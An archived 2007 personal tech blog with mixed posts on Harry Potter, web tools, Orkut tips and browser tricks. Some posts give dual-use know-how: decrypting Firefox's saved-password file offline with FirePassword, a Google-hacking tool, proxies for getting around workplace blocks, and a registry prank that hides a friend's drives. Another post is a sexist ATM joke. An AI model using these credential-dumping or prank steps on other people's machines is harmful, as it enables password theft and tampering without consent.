Geek Zone

YOU WILL BE REDIRECTED

2007-08-08T17:39:00.000+05:30

This web site has MOVED to HERE

Your browser should automatically take you there in 7 seconds.

If not, please go to

http://aravinth.wordpress.com

Finished ‘Potter’? Rowling tells what happens next

2007-07-31T23:27:00.000+05:30

Spoiler alert: This story reveals some key plot points in the final Harry Potter book. So if you've haven't finished the book, J.K. Rowling asks that you not read this story.

If you found the epilogue of “Harry Potter and the Deathly Hallows” rather vague, then J.K. Rowling achieved her goal.

The author was shooting for “nebulous,” something “poetic.” She wanted the readers to feel as if they were looking at Platform 9¾ through the mist, unable to make out exactly who was there and who was not.

“I do, of course, have that information for you, should you require it,” she told TODAY’s Meredith Vieira rather coyly in her first interview since fans got their hands on the final book.
Ummm … yes, please!

Rowling said her original epilogue was “a lot more detailed,” including the name of every child born to the Weasley clan in the past 19 years. (Victoire, who was snogging Teddy — Lupin and Tonks’ son — is Bill and Fleur’s eldest.)

“But it didn’t work very well as a piece of writing,” Rowling said. “It felt very much that I had crowbarred in every bit of information I could … In a novel you have to resist the urge to tell everything.”

But now that the seventh and final novel is in the hands of her adoring public, Rowling no longer has to hold back any information about Harry Potter from her fans. And when 14 fans crowded around her in Edinburgh Castle in Scotland earlier this week as part of TODAY’s interview, Rowling was more than willing to share her thoughts about what Harry and his friends are up to now.

Harry, Ron and Hermione
We know that Harry marries Ginny and has three kids, essentially, as Rowling explains, creating the family and the peace and calm he never had as a child.

As for his occupation, Harry, along with Ron, is working at the Auror Department at the Ministry of Magic. After all these years, Harry is now the department head.

“Harry and Ron utterly revolutionized the Auror Department,” Rowling said. “They are now the experts. It doesn’t matter how old they are or what else they’ve done.”

Meanwhile, Hermione, Ron’s wife, is “pretty high up” in the Department of Magical Law Enforcement, despite laughing at the idea of becoming a lawyer in “Deathly Hallows.”

“I would imagine that her brainpower and her knowledge of how the Dark Arts operate would really give her a sound grounding,” Rowling said.

Harry, Ron and Hermione don’t join the same Ministry of Magic they had been at odds with for years; they revolutionize it and the ministry evolves into a “really good place to be.”

“They made a new world,” Rowling said.

The wizarding naturalist
Luna Lovegood, the eccentric Ravenclaw who was fascinated with Crumple-Horned Snorkacks and Umgubular Slashkilters, continues to march to the beat of her own drum.

“I think that Luna is now traveling the world looking for various mad creatures,” Rowling said. “She’s a naturalist, whatever the wizarding equivalent of that is.”

Luna comes to see the truth about her father, eventually acknowledging there are some creatures that don’t exist.

“But I do think that she’s so open-minded and just an incredible person that she probably would be uncovering things that no one’s ever seen before,” Rowling said.

Luna and Neville Longbottom?
It’s possible Luna has also found love with another member of the D.A.

When she was first asked about the possibility of Luna hooking up with Neville Longbottom several years ago, Rowling’s response was “Definitely not.” But as time passed and she watched her characters mature, Rowling started to “feel a bit of a pull” between the unlikely pair.

Ultimately, Rowling left the question of their relationship open at the end of the book because doing otherwise “felt too neat.”

Mr. and Mrs. Longbottom: “The damage is done.”

There is no chance, however, that Neville’s parents, who were tortured into madness by Bellatrix Lestrange, ever left St. Mungo’s Hospital for Magical Maladies.

“I know people really wanted some hope for that, and I can quite see why because, in a way, what happens to Neville’s parents is even worse than what happened to Harry’s parents,” Rowling said. “The damage that is done, in some cases with very dark magic, is done permanently.”

Rowling said Neville finds happiness in his grandmother’s acceptance of him as a gifted wizard and as the new herbology professor at Hogwarts.

The fate of Hogwarts
Nineteen years after the Battle of Hogwarts, the school for witchcraft and wizardry is led by an entirely new headmaster (“McGonagall was really getting on a bit”) as well as a new Defense Against the Dark Arts teacher. That position is now as safe as the other teaching posts at Hogwarts, since Voldemort’s death broke the jinx that kept a Defense Against the Dark Arts professor from remaining for more than a year.

While Rowling didn’t clarify whether Harry, Ron and Hermione ever return to school to finish their seventh year, she did say she could see Harry popping up every now and again to give the “odd talk” on Defense Against the Dark Arts.

More details to come?
Rowling said she may eventually reveal more details in a Harry Potter encyclopedia, but even then, it will never be enough to satisfy the most ardent of her fans.

“I’m dealing with a level of obsession in some of my fans that will not rest until they know the middle names of Harry’s great-great-grandparents,” she said. Not that she’s discouraging the Potter devotion!

“I love it,” she said. “I’m all for that.”

Find Hidden passwords in Firefox

2007-07-31T10:13:00.001+05:30

Whenever you log in to a website using your username and password, you'll be prompted by Firefox whether you'd like Firefox to remember this password.

If you click on Remember, the next time you visit the website, it'll automatically enter the username and password for your convenience.

Now, back to the topic. Let's say you saved your GMail password in Firefox. After months or years gone by and you don't remember the password you set for my GMail. You started to panic and desperately need to get back your GMail password.

Don't worry, here's how you can find the hidden GMail password in Firefox.

Firefox is much better than Internet Explorer in terms of managing "remembered" logins. In Internet Explorer, there is no built-in feature where you can manage or view your saved login information. That's why you need third party tools to reveal the passwords hidden under asterisks. As for Firefox, you can access remembered passwords with a few clicks.

To view your remembered passwords in Firefox browser, go to Tools, and click on Options. Go to Security tab and click on the Show Passwords button. A remember password dialog box will appear. Click on the Show Passwords button again and a new column with password will appear.

With this feature, you won't need any tools to reveal the hidden passwords under asterisks. This topic has nothing to do with cracking or hacking. It's a feature that's included in Firefox browser.

There's a tool I found called FirePassword designed to decrypt the username and password list from firefox sign-on database. It works on similar line as Firefox's built-in password manager but it can be used as offline tool to get the username/password information without running the Firefox. It is DOS based and the manual says that FirePassword requires only 3 files which is key3.db, cert8.db and signons.txt. This 3 files can be found in Firefox profile directory.

All you need to do is place the 3 files together with FirePassword and run FirePassword.exe. Weirdly, I am able to decrypt all my username and password by copying ONLY the signons.txt file. Looks like it's not necessary to include the other 2 files.

You can export the decrypted username and password into text file by running this command "firepassword.exe > logins.txt".

Note: If a "master password" is being used and you don't know the master password, you won't be able to view the remembered passwords in Firefox and also use FirePassword to decrypt the the username and password list from firefox sign-on database

Download FirePassword

Google is a Friendly Search Engine

2007-07-29T10:57:00.000+05:30

Without doubt, Google is the most useful website on the Internet. You can search almost anything on it. Google search engine is also very friendly because when you visit google.com, you only get a clean and simple page where you just type what you would like to search.

Because of Google powerful and smart crawling robots, there are also many sensitive information being made available in Google search results. You can search for MP3s, Windows XP serial numbers, ebooks, videos, passwords and etc... Johnny Long has the largest Google hacking database search strings. Yeah I know you most probably been there and you find the search strings confusing.

Here's a a front end graphical user interface program for google hacking. You no longer need to copy and edit the search strings.

Google Hacks is a compilation of carefully crafted Google searches that expose novel functionality from Google's search and map services.

You can use it to view a timeline of your search results, view a map, search for music, search for books, and perform many other specific kinds of searches.

The installation file is only 777KB. If you don't want to install Google Hacks on your computer, you can download and use the portable version of Google Hacks. There's a note in the program saying that the hacks should ONLY be used to test the security of YOUR own domain. So use it wisely and don't abuse it.

Download

Difference between Boys and Girls while using ATM

2007-07-04T09:29:00.001+05:30

Boys:

1. Drive to the bank, park and go to the Cash Dispenser.
2. Insert card
3. Dial code and desired amount
4. Take the cash, the card and the slip

Girls:
1. Drive to the bank
2. Engine stalled
3. Check make-up in the mirror
4. Apply perfume
5. Manually check haircut
6. Park the car - failure
7. Park the car - failure
8. Park the car - Success
9. Search for the card in the handbag
10. Insert card, rejected by the machine
11. Throw phone card back in handbag,
12. Look for bank card.
13. Insert Card
14. Look for Secret Box (where secret code is written)in Handbag
15. Enter code
16. Study instructions for 2 minutes
17. #Cancel#
18. Re-enter code
19. #Cancel#
20. Call Boyfriend/husband to get correct the code
21. Enter desired amount
22. #Error#
23. Enter bigger amount
24. #Error#
25. Enter maximum amount
27. Take cash
28. Go back to the car
29. Check make up in rear mirror
30. Look for keys in handbag
31. Start car
32. Drive 50 meters
33. STOP
34. Drive back to bank machine
35. Go out of the car
36. Take card and ticket back from machine
37. Go back to the car
38. Throw card on passenger seat
39. Throw slip on the floor
40. Check make up in rear mirror
41. Manually check haircut
42. Go into roundabout - wrong way
43. BRAKE
44. Go into roundabout - right way
45. Drive 5 kilometers
46. Remove hand brake

47. Call boyfriend/husband to tell how miserable she was because of HIM.

Restore Taskmanager, Regedit, Folder Options disabled by virus

2007-06-29T23:22:00.000+05:30

Let's face it. All of us have been infected by virus before. Even if you have anti-virus installed, you can still be infected by a new or custom virus that is not recognized by your anti-virus. Sometimes after removing the virus completely from our system, you'll face new problems such as you can no longer bring up Windows Task Manager from CTRL+ALT+DEL. You get the error message saying "Task Manager has been disabled by your administrator".
Task Manager has been disabled by your administrator

You think that it's easy to fix this problem by going to Registry Editor but you can't! You get the error message "Registry editing has been disabled by your administrator".
Registry editing has been disabled by your administrator

Folder Options and even Show Hidden Files & Folder is disabled! How frustrating! Don't worry, here's how to restore your Windows Task Manager, Registry Editor, Folder Options and Show hidden files & folders.

This problem is most commonly caused by a virus called "Brontok". Brontok virus will make some changes to the system restrictions in order to hide itself from easy detection and also from easy cleaning.

Here's a free tool called Remove Restrictions Tool (RRT) which is able to re-enables all what the virus had previously disabled, and gives you back the control over your own computer.
Restore windows restrictions

Remove Restrictions Tool is able to re-enable:
- Registry Tools (regedit)
- Ctrl+Alt+Del
- Folder Options
- Show Hidden Files

Small and easy to use. Make sure you boot in to Safe Mode to use Remove Restrictions Tool (RRT). Just click on the buttons and it'll do it's job.

Download Remove Restrictions Tool (RRT)

Think You're Computer Smart? Play this to prove it

2007-06-29T23:20:00.000+05:30

What makes this logic game different from others? This logic game has something to do with computer and will test you if you're computer smart enough to figure out both the question and answers just by looking at what is presented in front of you. Some of the test include viewing HTML source code, searching Google, picture editing, sound editing and etc... If you don't know how to view HTML source code, edit picture and audio, then you need to improve your computing skills before you play this logic game. On the first day when this game was open to public, it already hit 3000 unique players! They are targeting 10000 players now...

When I started playing, it "looked" kind of easy. But when after getting the answers wrong again and again, I started to pay more attention what's on the screen. I think it'll be a challenge to all computer geeks who thinks he knows it all but then couldn't even get far on this game.

OddPawn is a game of logic. You need to see what is presented in front of you and then figure out how you can use that in order to answer the question on hand. Sometimes you need to look really hard to find both the question and the answer.
Test your IQ

It's easy to play this game. No complicated registration required. Just click on the image that says "START THE GAME". The page thing you need to do is provide your name for OddPawn to identify you.
Play logic IQ game

Please take note that OddPawn recognizes you by your IP address. If you play on the same network, everything stays as you left it. There is no need to save anything as you're automatically remembered by the system. So if you play OddPawn on another network with a different IP address, you'll have to start all over again.

Currently there are official hints up to level 7. Here's a good hint for you to go far in this game... "Google is your best friend".

Before starting this game, a simple rule for all of you to remember. Do NOT be a spoiler and reveal answers that you already know. If you post out the answers, it wouldn't be fun anymore for honest players. So keep them to yourself okay?

Last but not least, I hope you'll leave a comment on up to which level you've reached. For me, I am still at Level 4 (feeling shy). I will continue when I have more time.

Play OddPawn

Rapidshare Premium Account Alternative

2007-06-29T23:18:00.000+05:30

Need to download some files that is around 1GB from RapidShare very urgently and can't afford the wait time? 1GB equals to 10 parts because RapidShare only supports 100MB per upload. Definitely a lot of time will be wasted in waiting. Thinking of signing up RapidShare Premium account but none the packages are worth it because you very seldom download files from RapidShare.

Here's a cheaper alternative which you can use to download from RapidShare, Megaupload, Megarotic, and more to come without paying for full RapidShare Premium account packages.

FileDownloader is a small and simple application which allows you to download any file from famous file sharing websites such as RapidShare and Megaupload in fast and easy way. All you need is to paste the links to FileDownloader and the download will start automatically. No flat-rates on fixed monthly fee. The benefits of using FileDownloader is that you pay for downloaded traffic. Just 0.5$ for 1GB.
FileDownloader - Download from RapidShare Megaupload no limits

Although just $0.5 for 1GB may seems cheap, but let's calculate to understand in what situation will FileDownloader be worth using.

FileDownloader charges $0.50 for 1GB.

RapidShare Premium account packages. RapidShare allows 5GB download per day.
48 hours(10GB) = $6
30 days(150GB) = $9.39

Let's calculate and compare FileDownloader with RapidShare Premium for 2 days/48 hours.
RapidShare Premium 48 hours(10GB) = $6
FileDownloader 10GB = $0.50 x 10 = $5 (CHEAPER)

Compare FileDownloader with RapidShare Premium for 1 month.
RapidShare Premium 1 month(150GB) = $9.39 (MUCH CHEAPER)
FileDownloader 150GB = $0.50 x 150 = $75

As you can see, FileDownloader will be useful IF you're downloading less than 10GB. That includes if you won't be downloading anything from RapidShare for the whole month. Otherwise, it will be more worth it to get the 1 month RapidShare Premium account.

The author of FileDownloader, Alexander Vetrin, is kind enough to provide me with free 5GB for me to test out FileDownloader. I've tested it and it is able to download files from RapidShare and Megaupload without limitations until your credit or balance runs out. One thing I noticed is that you won't be able to select which servers to download from for RapidShare. Some of the Rapidshare servers are very slow to me and if I use that server to download, the download speed will only reach about 30KBps when my connection can go up to 100KBps.

And one more thing, FileDownloader acts like a download manager that supports download resuming. If you'd like to stop downloading and continue the next day, it is able to start from where you previously stopped downloading.

The author of FileDownloader explains to me that he did not use any proxy or hacking method to bypass the RapidShare and Megaupload download restrictions. He buys premium accounts for various filesharing websites in bulk and then use it on FileDownloader.

A great solution to those people who needs to download short-term from RapidShare without waiting.

Download FileDownloader

MySpace launches YouTube rival

2007-06-29T23:15:00.000+05:30

Online social networking powerhouse MySpace has set out to knock YouTube from its throne by launching a website devoted to Internet video and television shows.

MySpaceTV is a platform for homemade video and professional productions, such as news programs and "webisodes" made for the Internet of US shows like Prom Queen.

"This works just as well for NBC and Fox and for the aspiring Steven Spielberg as it does for the kid doing skateboard tricks on the weekend," MySpace vice-president Jeff Berman told AFP.

"We've seen video explode as a way for users to connect."

The test program unveiled is customised in seven languages for the US Internet firm's users worldwide.

The site's creators hope to replicate the success of MySpace, which gets more visitors than any other website in the United States and is the most popular online social community in the world, according to industry statistics.

The teen-oriented website is a forum in which people share pictures, journal entries, videos, music and more on personalised profile pages.

MySpaceTV is taking on YouTube, the undisputed king of online video sharing.

Its share of the US market surged 70 per cent in the first five months of 2007, reports tracking firm Hitwise.

Since February, MySpace has gained on Google-owned YouTube when it comes to the numbers of videos streamed to people's computers

Orkut ScrapMania

2007-06-23T22:37:00.000+05:30

Orkut tips and messages made grouped in ScrapMania.com

These are some of the services provided by them

Messages
A huge collection of animated and static messages to send to your friends adding fun to their scrapbooks.

Generators
Create your own messages and send them to your friends. You can use our generators to instantly create cool scraps.

MSN and Orkut Profile Images
Select from an array of cool personalized pictures to represent you that others will see on your profile. You may change it at any time.

Emoticons and Smiles
Feel free to save as many emoticons and smiles as you want. You can use them in your MSN. Just save and use.

ASCII Art
Do you want to "color" your friend's scrapbooks? Check out a world of ASCII in full color that will make you look at the symbols on your keyboard differently.

Online Games
Over 3500 free online games for you to play.

Tabbed Yahoo Messenger

2007-06-23T22:25:00.000+05:30

As you may have seen in the preview of Yahoo! Messenger for Windows Vista, tabbed IM windows are coming soon. This feature lets you group multiple conversations into one IM window and use tabs to navigate among them.

As it turns out, there are several hidden features that are built into Yahoo! Messenger, which can be turned on with changes to the Windows registry settings. One of our Messenger engineers, Hung Nguyen, developed some code that when installed, adds tabs to Yahoo! Messenger 8.1 (on Windows XP).

To try it out, first close all the IM windows you have open. Then click the “Turn ON tabs in Yahoo! Messenger” link below. When the download window appears, click the “Run” button and follow the on-screen instructions to install it. The next time you’re in two or more IM conversations at the same time, you’ll see the tabs in action. To close a tab, just right click on it.

Turn ON tabs in Yahoo! Messenger 8.1

Turn OFF tabs in Yahoo! Messenger 8.1

Working Proxies for Orkut

2007-06-23T16:11:00.000+05:30

Working Proxies for Orkut

* http://images.orkut.com
* http://images3.orkut.com
* http://backfox.com
* http://atunnel.com
* http://calculatepie.com
* http://bravebadger.com
* http://kproxy.com
* http://www.stupidcensorship.com
* http://www.vmathpie.com
* http://www.ipfaker.com

In many places like office, college, browsing centers....
Some of the websites have been blocked
Simply by using this websites you can able to browse them without any problem
This list will be updated if you came to known more websites
if you known some other websites like this please leave it on comments

Insert Extra Large Smileys in Orkut Scrap

2007-06-23T16:08:00.000+05:30

Instructions:
----->Select the model u want to insert
----->Right click and select copy
----->Now go to orkut
----->and right click on message box and select paste

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•[gold]•[/gold][yellow]•••[/yellow]••••••••••••••••[gold]••••[/gold]
••[/gold]•[/gold][yellow]••••[/yellow]•••[silver]••••••[/silver]•••[gold]•••••[/gold]
•••[gold]••[/gold][yellow]•••••[/yellow]••••••[gold]•••••••[/gold]
•••••[gold]•••[yellow]••••[/yellow]•••••••••[/gold]
••••••••[gold]••••••••••[/b]

Giving away Commercial Game and Licensed Software for free

2007-06-22T20:15:00.000+05:30

Shocked to read the title of this article? It's something very new to me and I think this is a very good concept where both visitors and author of game/software will benefit. We, the visitors will get commercial game and licensed software everyday for free and the author of the game/software will gain more exposures.

Basically, one software title will be nominated everyday. The software will be available for download for 24 hours (or more, if agreed by software publisher) and that software will be absolutely free. That means - not a trial, not a limited version - but a registered and legal version of the software will be free for the visitors. The software product will be presented in its full functionality, without any limitations save for those mentioned in Terms and Conditions.

Giveaway of the day
Giveaway of the Day will provide the download link on their web-site for the agreed period of time, together with the review of the software product and the information about other products from the software publisher presenting the giveaway title. Once the software or game has passed the 24 hours giveaway time, you won't be able to active it for free anymore. This method really makes people to visit the Giveaway website everyday.

To license the game or software, you have to download from the Giveaway website. Inside the archive file, there should be a file Activate.exe. You need to run activate.exe first and only install the software or game.
Activate Shareware and Commercial Game
I noticed that each activate.exe that comes together with the software or game is different because of the file size.

One very good feature that's included in the Giveaway website is the "Rating" system. It helps new visitors to have an idea if the game or software is worth downloading or not. The more thumbs up, the better the software/game is.
Rate Software and Game

Please note that the software you download and install during the Giveaway period comes with the following important limitations. You won't be getting any free technical support from the author of the software, no free upgrades to future versions and you can't use it for commercial purposes.

Thanks to Matthew Votsikas for suggesting this website to me.

Software Giveaway | Game Giveaway

How to clear Google Search history

2007-06-22T20:12:00.000+05:30

One of the main reason why some people would like to clear their Google search history from web browser and Google Toolbar is to maintain their privacy. If you own your own desktop or laptop which is used only by you, then it's fine. But if your computer is shared with a few people, sometimes it's just not nice to let them "accidentally" find out what you were looking for. An example below would be embarrassing.
Clear Google Search History

Here's how you can clear Google's search history from Firefox, Internet Explorer and Google Toolbar for Firefox and Internet Explorer.

The below instruction A and B is for deleting search history from the Google home page search box. This is if you use either Firefox or Internet Explorer and manually type in Google.com address to perform the search.

A. Internet Explorer 7
1. Go to Tools menu
2. Select Options
3. On General tab, click on the "Delete..." button from the Browsing History area.
4. Click "Delete forms..." button from the Form data area.
Remove search history
5. Click Yes to confirm.

B. In Mozilla Firefox
1. Go to Tools menu
2. Select Options
3. Select the "Privacy" tab
4. On the Private Data area, click on the "Clear Now..." button.
5. Make sure the "Saved Form and Search History" is checked and click on the Clear Private Data Now.
Clear Visited Link

The below instruction C and D is if you have Google Toolbar installed on your Firefox or Internet Explorer browser.

C. Internet Explorer with Google Toolbar
1. Click on the Google logo on the Toolbar to access the drop-down menu.
2. Select the "Clear History" option.
Clear Internet Explorer Google Toolbar Search History

C. Firefox with Google Toolbar
1. Click on the Google logo on the Toolbar.
2. Select "Clear Search History" option.
Clear Firefox Google Toolbar Search History

As you can see, clearing search history from Google Toolbar on Internet Explorer and Firefox is slightly a bit different. Not sure why they made it that way... Although it seems easy to clear Google search history, I did not immediately knew where to clear Google search history in Firefox Google Toolbar. I was searching through the options and the drop-down but I missed clicking the Google logo where the "Clear Search History" option is.

WebTop - Your Personalized Desktop anywhere

2007-06-22T20:09:00.000+05:30

You've heard of Laptop and Desktop but have you heard of "WebTop"? I don't think it's something very new but it's certainly new to me! A webtop or web desktop is a virtual desktop on the web, running in a web browser as software. Web desktops often are characterized by an environment similar to that of Windows, Mac, or Linux, but are now considered to have much more functionality being dependent on the internet. Typical benefits include the ability to save work and settings over the internet rather than to the local desktop.

Here's a scenario. You are going overseas for a month. You don't have a laptop and you only have a desktop. Of course you can use remote access to access your home desktop from another computer but to leave your desktop turned on 24 hours a day for the whole month is rather risky. What if there's a power failure and it shuts off your computer? Moreover, leaving your desktop turned on 24 hours for the whole month gives hacker plenty of time to hack in.

Here's how WebTop can be useful. You can upload your important files to a free WebTop service, and you can easily access your web desktop from any computer. You can also edit your documents from your webtop!

I got to know about WebTop when I heard about AjaxWindows.
AjaxWindows - Web Desktop
Then, while searching for more information on web desktop, I found 30 more web desktop. Some are free and some are commercial web desktop which requires you to pay. You can check the list at Wikipedia.

There are Pros and Cons in using WebTop.
Pros:
- Don't require installation of software. Can run directly from web browser.
- You can access your own personalized desktop from anywhere
- Works on any operating system as long as there is internet connection and web browser
- Ability to share application among users located at different locations

Cons:
- A high speed internet is a must. I think it'd be impossible to use if you're using a 56kbps connection.
- If someone manage to obtain your username and password, he is able to access your web desktop.
- If the webtop doesn't use secure connection (https), it is possible for a hacker to sniff your data while you're transferring documents from your desktop to your webtop.

WebTop is certainly a very good concept if you don't want to use remote access. Other than using WebTop to retrieve your own files, you can also use to write quick notes in case you might forget when you get home. For example, sometimes when I am on a servicing job, I learn a new tip or got to know a new website. Instead of logging in to my webmail, and sending it to my own email address, I can log in to my WebTop and write a sticky note. When I get home, I can note down the website or tip.

See how useful can a web desktop (webtop) be? I love computer so much because there's always something new to learn EVERYDAY.

About Windows Hosts File

2007-06-22T20:06:00.000+05:30

There's a Hosts file on every operating system. Yes, Windows, Mac OS, Linux and Unix, all of them has it. For Windows XP, the hosts file is located at WINDOWS\system32\drivers\etc and it's called HOSTS without any extension. You can open the HOSTS file with notepad and you should see something like this.
Windows HOSTS file
The hosts file is a computer file used to store information on where to find a node on a computer network. This file maps hostnames to IP addresses. The hosts file is used as a supplement to (or instead of) the domain name system on networks of varying sizes. This file is (unlike DNS) under the control of the user who is using the computer.

Your HOSTS file may now be empty and useless. I'll show you how you can put it to work and protect your computer from danger.

You can use HostsMan, the free hosts file manager and editor to manage your HOSTS file.
Repair HOSTS file
It has the ability to enable or disable your HOSTS file, edit your HOSTS file and update your host from 4 websites that maintain it. By updating your hosts file, you're able to filter out advertisements. This can save network bandwidth, as well, by eliminating a request to the DNS server normally used for obtaining address information, as well as by not downloading the advertisements.

Before doing anything to your HOSTS file using HostsMan, it is advisable to make a backup first in case you want to restore your original HOSTS file. To make your backup, press CTRL+B simultaneously or go to Hosts menu and select "Manage Backups...". Click on the Create Backup button to backup your current HOSTS file.

To update your HOSTS file, click on the middle button that says "Update Hosts" when you run HostsMan.
Edit HOSTS file
Check MVPS Hosts, hpHosts, Mike's Ad Blocking Hosts, Peter Lowe's AdServers List and click the Update button. It will then check for updates and prompt you if you want to continue to update hosts file. Click Yes to continue. Next, it will download all 4 hosts files, delete duplicates and update your HOSTS file. The next thing you'll notice on HostsMan is the number of Hosts Names that has been increased to tens of thousands.
Update HOSTS list

Please take note that your hosts file can be "hijacked", or used for malicious purposes. For example, adware, computer viruses, trojan horses, or other malware can edit the hosts file (particularly on Windows-based systems) to redirect traffic from a "safe" site (such as Google) to sites hosting content that may be offensive or intrusive to the user or the user’s computer system.

If you're afraid of your hosts file being hijacked, you can use limited accounts for normal everyday use. Not only it can protect your HOSTS file, but all system and program files as well.

Download HostsMan v3.0.42

Bypass Website Registration

2007-06-22T20:03:00.000+05:30

You're browsing the web and you click a link to an article on a site (let's say nytimes.com) but instead of getting the article you get a screen asking you to login or register. Most of the time I don't really use my real information to register. I can easily use a temporary disposable email address to sign up and then verify my membership in order to be a member of the website. I think the biggest reason why most of us don't like registering to view full contents is we don't want to give people our real information away. Imagine if every site in the world required registration to access content! That'd really be annoying and the whole world has your info!

Here's a very useful website which "shares" logins so you don't need to waste your time in registering an account to access a website that requires compulsory registration.

Avoid website registration
BugMeNot.com was created as a mechanism to quickly bypass the login of web sites that require compulsory registration and/or the collection of personal/demographic information (such as the New York Times). All of the username and password listed on BugMeNot are added by users. So if the first login don't work, you can try the second one. If you can't find a working login for a site then you can register with that site using fake details and then do BugMeNot a favor by adding to the list for other users to use.

To find login for a website, just visit BugMeNot.com, type the website address and click on the "Get Logins" button. It will then show you the list of logins found with username, password and also the success rate. If you see a low percentage of success rate, chances are it won't work. So don't bother wasting your time in trying to use that login.
Search BugMeNot login

Some websites such as pay-per-view which require users to pay money to access the site, banking and e-commerce websites can be blocked from BugMeNot system by easily submitting a request form. At least we know that BugMeNot is not a website that shares all sorts of hacked passwords. It's for our own convenience.

Currently BugMeNot has logins for 162679 sites. Unfortunately, there is no way to view the list of websites that has logins on BugMeNot. You can only do a search from BugMeNot website.

To make Firefox users life easier, there's a great plugin that works with BugMeNot. Simply install the plugin, then visit any website such as New York Times website and click on the login. You'll then see a form which ask you to input the Member ID or E-Mail Address and Password. RIGHT CLICK in a username or password text field to see the option "Login with BugMeNot". Click on it and it'll automatically search for logins from BugMeNot and automatically input into the text field.
Login with BugMeNot

You can access some of the options in BugMeNot extension by going to Tools -> Add-ons and click on the Options button when you highlight BugMeNot. By default, all four options are unchecked and in my opinion, it's the best setting already.
Bypass Website Registration

Please note that BugMeNot's Firefox extension is NOT created by BugMeNot. It is created by Eric from RoachFiend.

Download BugMeNot Firefox Extension

Harry Potter and the Order of the Phoenix filmed

2007-06-19T23:26:00.000+05:30

YouTube in Local Languages

2007-06-19T19:27:00.001+05:30

Literally, it might be known as Voustube, Voitubo or Vocetubo, but the world's most popular video-sharing site introduced local-language sites in nine countries on Tuesday that will all just go by YouTube.

Chad Hurley and Steve Chen, the co-founders of YouTube, which was acquired by Web search leader Google Inc. for $1.65 billion last year, told a news conference here that the nine country sites will eventually feature locally popular content.

YouTube unveiled national sites for Brazil (http://www.youtube.com.br), Britain (http://youtube.co.uk), France (youtube.fr), Ireland (youtube.ie), Italy (http://it.youtube.com), Japan (youtube.jp), the Netherlands (youtube.nl), Poland (youtube.pl) and Spain (youtube.es).

How to disable your (C:, D:, E: ) drives in My Computer

2007-06-17T23:22:00.001+05:30

This is a great trick you can play on your friends. To disable the display of local or networked drives when you click My Computer.

1.Go to start->run.Type regedit.Now go to:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

Now in the right pane create a new DWORD item and name it NoDrives(it is case sensitive). Now modify it's value and set it to 3FFFFFF (Hexadecimal) .Now restart your computer. So, now when you click on My Computer, no drives will be shown(all gone...). To enable display of drives in My Computer, simply delete this DWORD item that you created.Again restart your computer.You can now see all the drives again.

Create your Google Logo

2007-06-17T23:21:00.001+05:30

This tutorial will teach you how to make the Google logo.

1. Create a new document; 300px x 120px.

2. Use the text tool and type Google onto your document. This tutorial uses the font catull, but if you don’t have it on your computer, you can use Times New Roman which also works fine, and looks very similar.

3. Now we need to add colours to Google. Highlight each letter, and change its colour as state below.

G #1645AE
o #D62408
o #EFBA00
g #1645AE
l #007D08
e #D62408

4. Now click on the layer styles button and choose Drop Shadow. Change the settings as shown below.

Drop Shadow
Blend Mode: Multiply (Black as colour)
Opacity: 75%
Angle: 116
Distance: 5px
Spread 0%
Size: 5px

Bevel and Emboss
Style: Inner Bevel
Technique: Smooth
Depth: 91%
Direction: Up
Size: 5px
Soften: 1px
Angle: 116

Press OK to apply the effects.

Draw Online

2007-06-17T23:16:00.000+05:30

Now, you can make your own art online at Crayola, and even print it out! Sounds interesting? :) Yup, it is. Now, you can draw some really cool stuff at this site and best of all, you can even print that out :)

Draw something and do leave a comment with a link to you drawing. I would love to see what you people can make...

Just kidding .... Click here and enjoy....

Click Here

Apple Safari Browser

2007-06-14T22:15:00.000+05:30

I was excited when I got to know that Apple Safari browser is available for Windows.
It's in Public Beta, meaning anyone can download and test it but it's not 100% stable. Apple claims that Safari is the fastest web browser on any platform. Safari loads pages up to 2 times faster than Internet Explorer 7 and up to 1.6 times faster than Firefox 2. On the comparison chart, Safari 3 is the fastest in terms of HTML Performance, Javascript Performance and Application Launch compared to Firefox 2, Internet Explorer 7 and Opera 9. I've tested it and I liked the way Safari loads the website while it's still downloading the site. It makes you feel that it's already loaded and it's fast.

We all know Apple develops very stable and easy to maintain products. However, it won't be easy to beat Firefox 2 because of the vast amount of add-ons/plugins currently available. Nowadays you can do almost anything on Firefox 2 browser. I did find plug-ins for Safari 3 but there's only Adobe Flash Player, Java, Adobe Reader, Real Player, QuickTime and Windows Media Player. Mostly used for a richer browsing experience and not extra functionality.

Safari 3 for Windows only runs on Windows XP or Vista with at least 256MB of RAM and 500Mhz Pentium-class processor or better. Windows 98 user would have to miss this great release. One thing I noticed about Safari 3 is it doesn't use as much Memory as Firefox 2 does.

Some of the shortcut keys available in Safari 3 is standard. Here's some of basic shortcut keys that we normally use:
CTRL + T: Opens a new tab
CTRL + N: Opens new Safari Window
CTRL + W: Close current tab
CTRL + Q: Quit Safari
CTRL + [: Back
CTRL + ]: Forward
CTRL + .: Stop
CTRL + D: Add to Safari Bookmark
CTRL + R: Reload page
CTRL + M: Minimize Safari
CTRL + P: Print page
CTRL + ALT + L: Open Downloads Window

Download Safari 3 for Windows below and try it yourself. You'll love it!

Download

Google Faces Fines

2007-06-14T11:22:00.001+05:30

AP is reporting a judge in Brazil has ordered Google to hand over user information of some Orkut users.

Federal Judge Jose Marcos Lunardelli gave Google Brazil 15 days to release information needed to identify individuals accused of using Orkut to spread child pornography and engage in hate speech against blacks, Jews and homosexuals.

Federal prosecutors claim they’ve requested the information on 38 different occassions without response. Google’s arguing that it doesn’t store any user information at its Brazilian office. The judge is not convinced…

But Lunardelli dismissed that argument on Thursday, writing in his decision that “it is not relevant that the data are stored in the United States, since all the photographs and messages being investigated were published by Brazilians, through Internet connection in national territory.”

Google’s attorney claims they are preparing the information requested. If they don’t meet the deadline, they face daily fines of $23 million, which could be a nice “little earner” for any South American company.

Greener PCs by Google

2007-06-14T09:36:00.000+05:30

Web search leader Google Inc and semiconductor maker Intel Corp have launched a broad-based programme to introduce more energy-efficient personal computers and server systems to save energy and reduce greenhouse gas emissions.

Called the "Climate Savers Computing Initiative," the new program has signed on computer makers Dell Inc, Hewlett-Packard Co, IBM, Lenovo Group Ltd, software maker Microsoft Corp, the US Environmental Protection Agency and more than 25 environmental groups, companies and universities for the energy savings campaign.

The programme will set new efficiency goals for computers and software tools that manage power consumption. It comes at a time when Silicon Valley has made clean technology a priority as it seeks to play a greater role in reducing the harmful effects of climate change attributed to global warming.

